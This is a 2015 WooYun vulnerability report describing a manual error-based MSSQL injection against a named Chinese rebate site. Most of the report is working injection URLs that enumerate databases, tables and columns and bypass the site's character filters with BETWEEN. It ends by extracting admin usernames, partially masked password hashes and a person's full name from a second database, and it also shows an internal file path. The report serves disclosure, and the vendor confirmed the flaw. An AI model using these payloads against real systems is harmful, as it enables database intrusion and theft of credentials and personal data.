当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0111927

漏洞标题:返还网某站MSSQL报错注入已注出管理员数据(可垮裤,典型手工注入案例)

相关厂商:返还网

漏洞作者: goubuli

提交时间:2015-06-11 02:49

修复时间:2015-07-26 09:06

公开时间:2015-07-26 09:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:19

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-11: 细节已通知厂商并且等待厂商处理中
2015-06-11: 厂商已经确认,细节仅向厂商公开
2015-06-21: 细节向核心白帽子及相关领域专家公开
2015-07-01: 细节向普通白帽子公开
2015-07-11: 细节向实习白帽子公开
2015-07-26: 细节向公众公开

简要描述:

RT

详细说明:

首先看一下这个站:http://www.weiping.com/

150504_1.png


随意查看某个用户,出现的链接URL为:http://www.weiping.com/用户名
如注入点:http://www.weiping.com/zhengxq111
随手一个',爆出SQL及注入地方

150504_2.png


下面就好弄了
1、构造语句
在测试过程中发现过滤了:<、>、*等字符,后续会有绕过

http://www.weiping.com/zhengxq111' and 要查的数据 and 'a'='a


如:http://www.weiping.com/zhengxq111' and user=1 and 'a'='a

150504_3.png


在将 nvarchar 值 'fanhuan' 转换成数据类型 int 时失败。


2、查数据库相关信息

http://www.weiping.com/zhengxq111' and user=1 and 'a'='a								在将 nvarchar 值 'fanhuan' 转换成数据类型 int 时失败。


当前用户:fanhuan

http://www.weiping.com/zhengxq111' and db_name()=1 and 'a'='a							在将 nvarchar 值 'WeiPing' 转换成数据类型 int 时失败。


当前库:WeiPing

http://www.weiping.com/zhengxq111' and @@version=1 and 'a'='a


150504_4.png


数据库Microsoft SQL Server 2008
3、搞出所有数据库

http://www.weiping.com/zhengxq111' and (SELECT count(Name) FROM Master..SysDatabases )=16  and 'a'='a


一共16个数据库
构造:

http://www.weiping.com/zhengxq111' and (SELECT top 1 Name FROM Master..SysDatabases where name not in(select top XX name from Master..SysDatabases))=16  and 'a'='a


查出所有数据库(数据库信息不贴出来了),只举一列

150504_5.png


4、搞出某个数据库的所有表
构造

http://www.weiping.com/zhengxq111' and (select count(name) from WeiPing..sysobjects where xtype='U')=28  and 'a'='a


返回正常,WeiPing数据库一共28个数据表

http://www.weiping.com/zhengxq111' and (select top 1 name from sysobjects where xtype='U' and id not in(select top XX id from sysobjects where xtype='U'))=1  and 'a'='a


如:

http://www.weiping.com/zhengxq111' and (select top 1 name from sysobjects where xtype='U' and id not in(select top 1 id from sysobjects where xtype='U'))=1  and 'a'='a


在将 nvarchar 值 'WP_UserPluginData' 转换成数据类型 int 时失败。

150504_6.png


其他数据不贴
5、搞出某个表的所有字段
构造

http://www.weiping.com/zhengxq111' and (SELECT top 1 c.name FROM WeiPing..syscolumns c,WeiPing..sysobjects s WHERE c.id=s.id AND s.name='KS_Comment')=1 and 'a'='a


字段数查询类似3、4步骤,共20个字段,过程略
如:

http://www.weiping.com/zhengxq111' and (SELECT top 1 c.name FROM WeiPing..syscolumns c,WeiPing..sysobjects s WHERE c.id=s.id AND s.name='KS_Comment' and c.name not in ('ID','FatherID','UserName'))=1 and 'a'='a


150504_7.png


6、查表中数据
这个比较简单
构造

http://www.weiping.com/zhengxq111' and (SELECT top 1 UserIP FROM KS_Comment)=1 and 'a'='a


如:

150504_8.png


==========================垮裤
在第3步中有一个数据库是:taobao
那么垮裤,看看库里信息,先看有多少表?因为过滤了<>*等,这里用between绕过

http://www.weiping.com/zhengxq111' and (select count(name) from taobao..sysobjects where xtype='U')  BETWEEN 45 and 47 and 'a'='a


访问正常,说明表的数量在45(含)-47(含)之间

http://www.weiping.com/zhengxq111' and (select count(name) from taobao..sysobjects where xtype='U')=45 and 'a'='a


说明taobao数据库只有45张表
查其中一个表

http://www.weiping.com/zhengxq111' and (select top 1 name from taobao..sysobjects where xtype='U' and id not in(select top 12 id from taobao..sysobjects where xtype='U'))=1  and 'a'='a


150504_9.png


有一个AdminUser表
看看字段
有:

UserId
ParentId
UserName
Password
FullName
MobileTel
Email
Tel
...

等字段
看看数据

150504_10.png


Username:qiulin
Password:6605ACBC1**************87A854B
FullName:邱霖
...


不敢确定是否是管理员,再看下一条
第二条:

150504_11.png


直接报出admin,这次应该是管理员了

Username:admin
Password:B814***********2BB174
FullName:系统管理员


接下来没有深入,问题就点到这里吧。。。
没有去写脚本。。。只是想试试手工,这个站是一个很好的案例。
声明:所有执行都是测试,没有任何破坏。

漏洞证明:

上面已证明
不跟上面重复了,贴一个暴出的路径吧

150504_12.png


E:\Other_2\WP\03_src\LGFZ.Weping.Utility\Databse\DatabaseTextUtility.cs

修复方案:

迅速修补

版权声明:转载请注明来源 goubuli@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-06-11 09:05

厂商回复:

存在SQL注入,对数据的安全性产生较大的影响

最新状态:

暂无